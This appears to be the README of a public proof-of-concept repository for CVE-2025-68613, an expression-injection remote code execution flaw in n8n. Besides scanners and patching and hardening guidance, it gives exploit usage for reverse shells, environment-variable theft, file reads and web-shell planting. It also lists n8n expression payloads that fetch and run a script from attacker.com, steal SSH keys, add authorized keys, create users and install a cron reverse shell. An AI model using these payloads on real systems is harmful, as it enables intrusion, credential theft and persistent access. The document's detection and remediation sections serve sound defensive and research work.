
Public PoC + Scanner and research for CVE-2025-68613: Critical RCE in n8n Workflow Automation via Expression Injection (CVSS 10.0). Includes detection tools, full exploit, and remediation guidance.

CVE-2025-68613 is a critical Remote Code Execution (RCE) vulnerability discovered in n8n, a popular open-source workflow automation platform. This vulnerability allows authenticated users to execute arbitrary code on the server, potentially leading to complete system compromise.
n8n is an open-source workflow automation platform that allows users to:
Organizations use n8n to:
This central role in IT infrastructure makes vulnerabilities particularly dangerous, as they can provide attackers with access to entire networks and sensitive data.
This repository includes ready-to-use tools for vulnerability detection and exploitation testing:
cve-2025-68613-scanner.pyPurpose: Safe, non-exploiting detection of vulnerable n8n instances
Features:
Usage:
python3 cve-2025-68613-scanner.py -u http://target:5678
Output:
CVE-2025-68613.yamlPurpose: Automated vulnerability detection and basic expression evaluation testing
Features:
Usage:
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyPurpose: Complete proof-of-concept exploit with multiple attack payloads
Features:
Requirements:
Installation:
pip install requests
chmod +x exploit_cve-2025-68613.py
Usage Examples:
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
How It Works:
this.constructor.constructor()process.platform or other Node.js APIsExit Codes:
In simple terms: n8n allows users to write expressions in workflows to process data dynamically. However, these expressions are evaluated without proper sandboxing, allowing attackers to break out of the intended execution context and run arbitrary code on the server.
When you create a workflow in n8n, you can use "expressions" to manipulate data. These expressions are supposed to run in a restricted environment. However, the vulnerability shows that these expressions can access the underlying system, allowing an attacker to:
When a user creates a workflow in n8n, they can use expressions to process data:
Input: User creates a workflow with an expression
n8n Expression Engine: Evaluates the expression
Expected Output: Processed data
Actual Output (Vulnerable): Expression execution context not isolated from runtime
An attacker crafts a malicious expression that escapes the intended sandbox:
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
The expression is evaluated without proper isolation, allowing the attacker to:
The vulnerability stems from insufficient sandboxing in the expression evaluation engine. The n8n team evaluated expressions in a context that:
require() or similar module loading functionsUser Input (Workflow Expression)
↓
Expression Parser
↓
Evaluation Engine (VULNERABLE - Not Sandboxed)
↓
Direct Access to Node.js Runtime
↓
System Command Execution / File Access / Credential Theft
All n8n versions starting from 0.211.0 through the following versions are vulnerable:
0.211.0 → 1.120.31.121.0The vulnerability has been fixed in:
1.120.4 and later in the 1.120.x branch1.121.1 and later in the 1.121.x branch1.122.0 and all newer versions# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run endpoint returns HTTP 500 error in v1.121.0
The exploit is designed to work against the vulnerable range documented in NVD:
If testing against versions outside this range, success is not guaranteed.
Once an authenticated user (or an attacker with valid credentials) exploits this vulnerability, they can:
${require('child_process').execSync('whoami').toString()}
// Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()}
// Downloads and executes a shell script
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')}
// Lists all environment variables
${process.env.DATABASE_PASSWORD}
// Extracts specific secrets
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access
// Access workflow credentials (stored API keys, passwords)
// Modify or view connected databases
// Exfiltrate data from all integrated systems
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user account
Real-World Scenario: Company Using n8n
Manufacturing Company
Financial Services
Healthcare Organization
Safe, non-exploiting detection script (included in original repository):
python3 CVE-2025-68613.py -u http://your-n8n-instance:5678
Output Examples
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Automated scanning with Nuclei:
# Single target
nuclei -t CVE-2025-68613.yaml -u http://target:5678
# Multiple targets from file
nuclei -t CVE-2025-68613.yaml -l targets.txt
How it works:
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz
# Find n8n instances using Shodan
shodan search "n8n" --limit 10
# Use favicon hash detection
nmap -p 5678 --script http-favicon target.com
Log Signs:
System Signs:
This is the only complete fix for the vulnerability.
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/
Using Docker (Recommended):
# Pull the latest patched version
docker pull n8nio/n8n:1.122.0 # Or later
# Stop current instance
docker stop n8n-container
# Start with new version
docker run -d --name n8n-patched \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.122.0
Using npm:
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install [email protected]
Using System Package Manager:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade n8n
# Or manual download
wget https://github.com/n8n-io/n8n/releases/download/[email protected]/n8n.tar.gz
# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"
Important: These do NOT fix the vulnerability. Use only as temporary measures while planning upgrades.
n8n Admin Panel → Users & Permissions
├── Disable "User Can Create Workflows" for non-admin users
├── Restrict "User Can Edit Workflows" to trusted administrators only
├── Review existing user roles and remove unnecessary permissions
└── Audit workflow creators for suspicious accounts
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
# Restrict n8n network access
sudo ufw default deny incoming
sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network
sudo ufw enable
# Or using iptables
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latest
n8n Admin Panel → Settings → Authentication
├── Enable 2FA for all accounts
├── Enforce strong password policies
├── Review and disable unnecessary service accounts
├── Implement SSO if available
└── Disable any guest/demo accounts
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version
# Monitor for suspicious activities
# Check for new files in n8n directories
find /path/to/n8n -type f -mtime -1
# Monitor process activity
ps aux | grep n8n
netstat -tlnp | grep n8n
# Check for unauthorized SSH keys
cat ~/.ssh/authorized_keys
# Review system logs
journalctl -u n8n -n 100
sudo systemctl stop n8nKeep n8n Updated
Access Control
Workflow Management
Credential Management
Monitoring & Logging
Network Security
Incident Response
Common Causes:
Wrong credentials (most common)
curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'User doesn't have workflow creation permissions
Version is patched (version > 1.121.0)
python3 cve-2025-68613-scanner.py -u http://target:5678API structure changed (older/newer versions may differ)
Network/firewall blocking
curl http://target:5678/Fixed in v1.02: Scanner now uses base64-decoded Sentry configuration from meta tags instead of simple regex. This eliminates false positives where Node.js version was detected as n8n version.
What changed:
<meta name="n8n:config:sentry" content="[BASE64]">To use v1.02 scanner:
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678
This is NOT a bug in the exploit - it's an API limitation.
Explanation:
/rest/workflows/{id}/run endpoint returns HTTP 500 in n8n v1.121.0Workaround:
Evidence: Captured flag on TryHackMe: THM{n8n_exposed_workflow}
CVE-2025-68613 is a critical vulnerability that requires immediate action. The combination of:
...makes this one of the most dangerous vulnerabilities in workflow automation platforms.
The simple solution: Upgrade to a patched version immediately. There is no excuse for remaining vulnerable to a critical RCE when patches are available.
|- Version: 1.02 |- Date Created: December 18, 2025 |- Last Updated: December 26, 2025
This document is provided for educational and authorized security assessment purposes only. Unauthorized access to computer systems is illegal. Always ensure you have proper authorization before testing, assessing, or accessing systems you do not own.
⚠️ REMEMBER: Update your n8n instances immediately if running vulnerable versions.
| Scenario | Risk Level | Likelihood | Impact | Priority |
|---|
| Unpatched, internet-facing n8n | CRITICAL | HIGH | Complete compromise | 🔴 URGENT |
| Unpatched, internal-only n8n | HIGH | MEDIUM | Insider threat risk | 🟠 HIGH |
| Patched n8n | LOW | LOW | N/A | ✅ Resolved |
| Unpatched + permission restrictions | MEDIUM | MEDIUM | Limited to trusted users | 🟡 MEDIUM |